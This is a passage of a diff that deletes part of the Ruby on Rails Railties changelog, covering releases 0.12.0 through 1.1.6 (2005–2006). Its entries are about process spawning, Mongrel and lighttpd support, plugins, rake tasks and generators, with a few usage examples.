- spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
- spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
-
- Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
-
-* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 [evan@protest.net]
-
-* db:test:clone should remove existing tables before reloading the schema. #5607 [sveit@tradeharbor.com]
-
-* Fixed migration generation for class names like ACLController #5197 [brad@madriska.com]
-
-* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
-
- irb(#<TopController:0x40822a68>):002:0> show_source_list
- 0001 class TopController < ApplicationController
- 0002 def show
- 0003-> breakpoint
- 0004 end
- 0005
- 0006 def index
- 0007 end
- 0008
- => "/path/to/rails/root/app/controllers/top_controller.rb"
-
- irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- app/controllers/top_controller.rb:3:in `show'
- => "/path/to/rails/root/app/controllers/top_controller.rb:3"
-
-* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 [nils@alumni.rice.edu]
-
-* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 [mike@clarkware.com]
-
-* Don't assume Active Record is available. #5497 [bob@sporkmonger.com]
-
-* Mongrel: script/server works on Win32. #5499 [jeremydurham@gmail.com]
-
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. [Nick Sieger]
-
-* Mongrel support for script/server. #5475 [jeremydurham@gmail.com]
-
-* Fix script/plugin so it doesn't barf on invalid URLs [Rick Olson]
-
-* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
-
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. [Rick Olson]
-
-* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi@drecom.co.jp]
-
-* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot@townx.org]
-
-* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck]
-
-* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
-
-* Added lib/ to the directories that will get application docs generated [David Heinemeier Hansson]
-
-* Add observer generator. Closes #5167. [François Beausoleil]
-
-* Session migration generator obeys pluralize_table_names. #5145 [James Adam]
-
-* rake test:recent understands subdirectories. #2925 [jerrett@bravenet.com]
-
-* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot@townx.org]
-
-* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug@owl.me.uk]
-
-* Distinguish the spawners for different processes [David Heinemeier Hansson]
-
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [David Heinemeier Hansson]
-
-* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
-
-* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
-
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [David Heinemeier Hansson]
-
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [David Heinemeier Hansson]
-
-
-*1.1.6* (August 10th, 2006)
-
-* Additional security patch
-
-
-*1.1.5* (August 8th, 2006)
-
-* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. #4857 [Alisdair McDiarmid]
-
-* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
-
-* Includes critical security patch
-
-
-*1.1.4* (June 29th, 2006)
-
-* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. [headius@headius.com]
-
-* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3
-
-
-*1.1.3* (June 27th, 2006)
-
-* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2
-
-
-*1.1.2* (April 9th, 2006)
-
-* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. [Alisdair McDiarmid]
-
-* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
-
-* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) [David Heinemeier Hansson]
-
-* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem [David Heinemeier Hansson]
-
-
-*1.1.1* (April 6th, 2006)
-
-* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) [ruben.nine@gmail.com]
-
-* Update to Prototype 1.5.0_rc0 [Sam Stephenson]
-
-* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 [ryan.raaum@gmail.com]
-
-* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html [David Heinemeier Hansson]
-
-* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 [augustz@augustz.com]
-
-* Fixed that rails --version should have the return code of 0 (success) #4560 [blair@orcaware.com]
-
-* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. [Nicholas Seckar]
-
-* Fixed that spawner should daemonize if running in repeat mode [David Heinemeier Hansson]
-
-* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release [David Heinemeier Hansson]
-
-* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
-
-* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 [starr@starrnhorne.com]
-
-* Make Rails::VERSION implicitly loadable #4491. [Nicholas Seckar]
-
-* Fixed rake rails:freeze:gems #4518 [benji@silverinsanity.com]
-
-* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with [David Heinemeier Hansson]
-
-* Added gem binding of apps generated through the rails command to the gems of they were generated with [Nicholas Seckar]
-
-* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf [David Heinemeier Hansson]
-
-* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf [David Heinemeier Hansson]
-
-* Avoid passing escapeHTML non-string in Rails' info controller [Nicholas Seckar]
-
-
-*1.1.0* (March 27th, 2006)
-
-* Allow db:fixtures:load to load a subset of the applications fixtures. [Chad Fowler]
-
- ex.
-
- rake db:fixtures:load FIXTURES=customers,plans
-
-* Update to Prototype 1.5.0_pre1 [Sam Stephenson]
-
-* Update to script.aculo.us 1.6 [Thomas Fuchs]
-
-* Add an integration_test generator [Jamis Buck]
-
-* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. [Marcel Molina Jr.]
-
- ex.
-
- >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)])
- <option value="1">a</option>
- <option value="2">b</option>
- <option value="3">c</option>
- => nil
-
-* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. [Rick Olson]
-
-* Reject Ruby 1.8.3 when loading Rails; extract version checking code. [Chad Fowler]
-
-* Remove explicit loading of RailsInfo and RailsInfoController. [Nicholas Seckar]
-
-* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. [Nicholas Seckar]
-
-* Extend load path with Railties' builtin directory to make adding support code easy. [Nicholas Seckar]
-
-* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. [Nicholas Seckar]
-
-* Fixed rails:freeze:gems for Windows #3274 [paul@paulbutcher.com]
-
-* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 [guy.naor@famundo.com]
-
-* Add verification to generated scaffolds, don't allow get for unsafe actions [Michael Koziarski]
-
-* Don't replace application.js in public/javascripts if it already exists [Cody Fauser]
-
-* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. [Nicholas Seckar]
-
-* Use require_library_or_gem to load rake in commands/server.rb. Closes #4205. [rob.rasmussen@gmail.com]
-
-* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. [Chad Fowler]
-
-* Added a backtrace to the evil WSOD (White Screen of Death). Closes #4073. TODO: Clearer exceptions [Rick Olson]
-
-* Added tracking of database and framework versions in script/about #4088 [charles.gerungan@gmail.com/Rick Olson]
-
-* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults [David Heinemeier Hansson]
-
-* Added socket cleanup for lighttpd, both before and after [David Heinemeier Hansson]
-
-* Added automatic creation of tmp/ when running script/server [David Heinemeier Hansson]
-
-* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process [David Heinemeier Hansson]
-
-* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 [esad@esse.at]
-
-* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 [David Heinemeier Hansson]
-
-* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 [Thijs van der Vossen]
-
-* Added test:uncommitted to test changes since last checkin to Subversion #4035 [technomancy@gmail.com]
-
-* Help script/about print the correct svn revision when in a non-English locale. #4026 [babie7a0@ybb.ne.jp]
-
-* Add 'app' accessor to script/console as an instance of Integration::Session [Jamis Buck]
-
-* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. [Jeremy Kemper]
-
-* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. [Jeremy Kemper]
-
-* Add integration test support to app generation and testing [Jamis Buck]
-
-* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though [David Heinemeier Hansson]
-
-* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! [David Heinemeier Hansson]
-
-* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 [ror@andreas-s.net]
-
-* Added collision option to template generation in generators #3329 [anna@wota.jp]. Examples:
-
- m.template "stuff.config" , "config/stuff.config" , :collision => :skip
- m.template "auto-stamping", "config/generator.log", :collision => :force
-
-* Added more information to script/plugin's doings to ease debugging #3755 [Rick Olson]
-
-* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets [David Heinemeier Hansson]
-
-* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration [David Heinemeier Hansson]
-
-* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) [David Heinemeier Hansson]
-
-* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton [David Heinemeier Hansson]
-
-* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration [David Heinemeier Hansson]
-
-* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration [David Heinemeier Hansson]
-
-* Allow script/server -c /path/to/lighttpd.conf [Jeremy Kemper]
-
-* Remove hardcoded path to reaper script in script/server [Jeremy Kemper]
-
-* Update script.aculo.us to V1.5.3 [Thomas Fuchs]
-
-* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things [David Heinemeier Hansson]
-
-* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. [David Heinemeier Hansson]
-
-* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized. Useful for things like per-environment configuration of plugins. [Michael Koziarski]
-
-* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. [David Heinemeier Hansson]
-
-* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 [tom@craz8.com]
-
-* Fixed documentation tasks to work with Rake 0.7.0 #3563 [kazuhiko@fdiary.net]
-
-* Update to Prototype 1.5.0_pre0 [Sam Stephenson]
-
-* Sort the list of plugins so we load in a consistent order [Rick Olson]
-
-* Show usage when script/plugin is called without arguments [tom@craz8.com]
-
-* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 [anna@wota.jp]
-
-* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 [jeremy@planetargon.com Marcel Molina Jr.]
-
-* Fix typo in mailer generator USAGE. #3458 [chriztian.steinmeier@gmail.com]
-
-* Ignore version mismatch between pg_dump and the database server. #3457 [Simon Stapleton]
-
-* Reap FCGI processes after lighttpd exits. [Sam Stephenson]
-
-* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. [rails@bencurtis.com, Marcel Molina Jr.]
-
-*1.0.0* (December 13th, 2005)
-
-* Update instructions on how to find and install generators. #3172. [Chad Fowler]
-
-* Generator looks in vendor/generators also. [Chad Fowler]
-
-* Generator copies files in binary mode. #3156 [minimudboy@gmail.com]
-
-* Add builtin/ to the gemspec. Closes #3047. [Nicholas Seckar, Sam Stephenson]
-
-* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. [Marcel Molina Jr.]
-
-* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. [Sam Stephenson]
-
-* Make load_fixtures include csv fixtures. #3053. [me@mdaines.com]
-
-* Fix freeze_gems so that the latest rails version is dumped by default. [Nicholas Seckar]
-
-* script/plugin: handle root paths and plugin names which contain spaces. #2995 [justin@aspect.net]
-
-* Model generator: correct relative path to test_helper in unit test. [Jeremy Kemper]
-
-* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. [Blair Zajac]
-
-* Have the lighttpd server script report the actual ip to which the server is bound. #2903. [Adam]
-
-* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. [James Adam]
-
-* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. [anonymous]
-
-* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database. #2964 [Dreamer3]
-
-* Introducing the session_migration generator. Creates an add_session_table migration. Allows generator to specify migrations directory. #2958, #2960 [Rick Olson]
-
-* script/console uses RAILS_ENV environment variable if present. #2932 [Blair Zajac <blair@orcaware.com>
-
-* Windows: eliminate the socket option in database.yml. #2924 [Wayne Vucenic <waynev@gmail.com>]
-
-* Eliminate nil from newly generated logfiles. #2927 [Blair Zajac <blair@orcaware.com>]
-
-* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
-
-* Eliminate Subversion dependencies in scripts/plugin. Correct install options. Introduce --force option to reinstall a plugin. Remove useless --long option for list. Use --quiet to quiet the download output and --revision to update to a specific svn revision. #2842 [Chad Fowler, Rick Olson]
-
-* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment. #2846 [Rick Olson]
-
-* Make sure that legacy db tasks also reference :database for SQLite #2830 [kazuhiko@fdiary.net]
-
-* Pass __FILE__ when evaluating plugins' init.rb. #2817 [James Adam]
-
-* Better svn status matching for generators. #2814 [François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>]
-
-* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities [David Heinemeier Hansson]
-
-* Don't detach or fork for script/server tailing [Nicholas Seckar]
-
-* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path for compatibility with web servers that don't have Ruby in path [David Heinemeier Hansson]
-
-* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660
-
-* Correct versioning in :freeze_gems Rake task. #2778 [Jakob Skjerning, Jeremy Kemper]
-
-* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. [Sam Stephenson]
-
-
-*0.14.3 (RC4)* (November 7th, 2005)
-
-* Add 'add_new_scripts' rake task for adding new rails scripts to script/* [Jamis Buck]
-
-* Remove bogus hyphen from script/process/reaper calls to 'ps'. #2767 [anonymous]
-
-* Copy lighttpd.conf when it is first needed, instead of on app creation [Jamis Buck]
-
-* Use require_library_or_gem 'fcgi' in script/server [Sam Stephenson]
-
-* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' [David Heinemeier Hansson]
-
-* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins']. [Jeremy Kemper]
-
-* Plugins are discovered in nested paths, so you can organize your plugins directory as you like. [Jeremy Kemper]
-
-* Refactor load_plugin from load_plugins. #2757 [alex.r.moon@gmail.com]
-
-* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info [Sam Stephenson]
-
-* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. [Chad Fowler]
-
-* Added script/about to display formatted Rails::Info output [Sam Stephenson]
-
-* Added Rails::Info to catalog assorted information about a Rails application's environment [Sam Stephenson]
-
-* Tail the logfile when running script/server lighttpd in the foreground [Sam Stephenson]
-
-* Try to guess the port number from config/lighttpd.conf in script/server lighttpd [Sam Stephenson]
-
-* Don't reap spawn-fcgi. #2727 [matthew@walker.wattle.id.au]
-
-* Reaper knows how to find processes even if the dispatch path is very long. #2711 [matthew@walker.wattle.id.au]
-
-* Make fcgi handler respond to TERM signals with an explicit exit [Jamis Buck]
-
-* Added demonstration of fixture use to the test case generated by the model generator [David Heinemeier Hansson]
-
-* If specified, pass PostgreSQL client character encoding to createdb. #2703 [Kazuhiko <kazuhiko@fdiary.net>]
-
-* Catch CGI multipart parse errors. Wrap dispatcher internals in a failsafe response handler. [Jeremy Kemper]
-
-* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails. [Chad Fowler, Jeremy Kemper]
-
-* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) [Thomas Fuchs]
-
-* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable. For example: rake freeze_edge REVISION=1234. #2663 [Rick Olson]
-
-* Comment database.yml and include PostgreSQL and SQLite examples. [Jeremy Kemper]
-
-* Improve script/plugin on Windows. #2646 [Chad Fowler]
-
-* The *_plugindoc Rake tasks look deeper into the plugins' lib directories. #2652 [bellis@deepthought.org]
-
-* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml. [Anatol Pomozov <anatol.pomozov@gmail.com>]
-
-* Add task to generate rdoc for all installed plugins. [Marcel Molina Jr.]
-
-* Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
-
-* Add default Mac + DarwinPorts MySQL socket locations to the app generator. [Jeremy Kemper]
-
-* Migrations may be destroyed: script/destroy migration foo. #2635 [Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper]
-
-* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator [David Heinemeier Hansson]
-
-* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service [David Heinemeier Hansson]
-
-* Added script/plugin to manage plugins (install, remove, list, etc) [Ryan Tomayko]
-
-* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) [David Heinemeier Hansson]
-
-* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) [David Heinemeier Hansson]
-
-* Fixed scaffold generator when started with only 1 parameter #2609 [self@mattmower.com]
-
-* rake should run functional tests even if the unit tests have failures [Jim Weirich]
-
-* Back off cleanpath to be symlink friendly. Closes #2533 [Nicholas Seckar]
-
-* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 [Blair Zajac]
-
-
-*0.14.2 (RC3)* (October 26th, 2005)
-
-* Constants set in the development/test/production environment file are set in Object
-
-* Scaffold generator pays attention to the controller name. #2562 [self@mattmower.com]
-
-* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 [Rick Olson]
-
-
-*0.14.1 (RC2)* (October 19th, 2005)
-
-* Don't clean RAILS_ROOT on windows
-
-* Remove trailing '/' from RAILS_ROOT [Nicholas Seckar]
-
-* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1
-
-
-*0.14.0 (RC1)* (October 16th, 2005)
-
-* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators [Tobias Lütke]
-
-* Fix rake dev and related commands [Nicholas Seckar]
-
-* The rails command tries to deduce your MySQL socket by running `mysql_config
---socket`. If it fails, default to /path/to/your/mysql.sock
-
-* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". [Florian Weber]
-
-* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system)
-
-* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. [Tobias Lütke]
-
-* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. [Nicholas Seckar]
-
-* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. [Florian Weber]
-
-* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby [Sam Stephenson]
-
-* Make webrick work with session(:off)
-
-* Add --version, -v option to the Rails command. Closes #1840. [stancell]
-
-* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files [Thomas Fuchs]
-
-* Make the generator skip a file if it already exists and is identical to the new file.
-
-* Add experimental plugin support #2335
-
-* Made Rakefile aware of new .js files in script.aculo.us [Thomas Fuchs]
-
-* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 [kazuhiko@fdiary.net]
-
-* Clearly label functional and unit tests in rake stats output. #2297 [lasse.koskela@gmail.com]
-
-* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 [Chad Fowler]
-
-* Added prevention of duplicate migrations from the generator #2240 [François Beausoleil]
-
-* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file).
-
-* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible.
-
-* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore
-
-* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 [Rick Olson]
-
-* Fixed script/profiler for Ruby 1.8.2 #1863 [Rick Olson]
-
-* Fixed clone_structure_to_test task for SQLite #1864 [jon@burningbush.us]
-
-* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 [ask@develooper.com]
-
-* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 [Kevin Clark]
-
-* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 [wejn@box.cz]
-
-* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant
-
-* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists.
-
-* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating.
-
-* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths)
-
-* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 [Chad Fowler]
-
-* Corrected project-local generator location in scripts.rb #2010 [Michael Schuerig]
-
-* Don't require the environment just to clear the logs #2093 [Scott Barron]
-
-* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators)
-
-* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined.
-
-* Allow the --toggle-spin switch on process/reaper to be negated
-
-* Replace render_partial with render :partial in scaffold generator [Nicholas Seckar]
-
-* Added -w flag to ps in process/reaper #1934 [Scott Barron]
-
-* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 [Duane Johnson]
-
-* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help.
-
-* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 [Marcel Molina Jr.]
-
-* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 [Michael Schubert]
-
-* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down).
-
-
-*0.13.1* (11 July, 2005)
-
-* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators. Nobody really uses this feature except for the unit tests, so it's a negligible-impact change. If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems.
-
-* Fixed that each request with the WEBrick adapter would open a new database connection #1685 [Sam Stephenson]
-
-* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
-
-* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version
-
-* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 [court3nay]
-
-* Improved documentation for environment config files #1625 [court3nay]
-
-
-*0.13.0* (6 July, 2005)
-
-* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged)
-
-* Added migration generator: ./script/generate migration add_system_settings
-
-* Added "migrate" as rake task to execute all the pending migrations from db/migrate
-
-* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 [Marcel Molina Jr.]
-
-* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 [Michael Koziarski]
-
-* SIGTERM also gracefully exits dispatch.fcgi. Ignore SIGUSR1 on Windows.
-
-* Add the option to manually manage garbage collection in the FastCGI dispatcher. Set the number of requests between GC runs in your public/dispatch.fcgi [Stefan Kaes]
-
-* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them.
-
-* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush)
-
-* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 [Michael Schubert]
-
-* ActionMailer::Base subclasses are reloaded with the other rails components #1262
-
-* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false)
-
-* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 [Scott Barron]
-
-* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 [Michael Koziarski]
-
-* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 [Nicholas Seckar]
-
-* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 [Nicholas Seckar]
-
-* Added -e/--environment option to script/runner #1408 [François Beausoleil]
-
-* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id]. #1367
-
-* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 [Caleb Tennis]
-
-* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. [Jamis Buck]
-
-* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. [Jamis Buck]
-
-* Added console --profile for profiling an IRB session #1154 [Jeremy Kemper]
-
-* Changed console_sandbox into console --sandbox #1154 [Jeremy Kemper]
-
-
-*0.12.1* (20th April, 2005)
-
-* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1
-
-
-*0.12.0* (19th April, 2005)
-
-* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 [rails@cogentdude.com]
-
-* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples:
-
- # runs the one statement 10 times
- script/benchmarker 10 'Person.expensive_method(10)'
-
- # pits the two statements against each other with 50 runs each
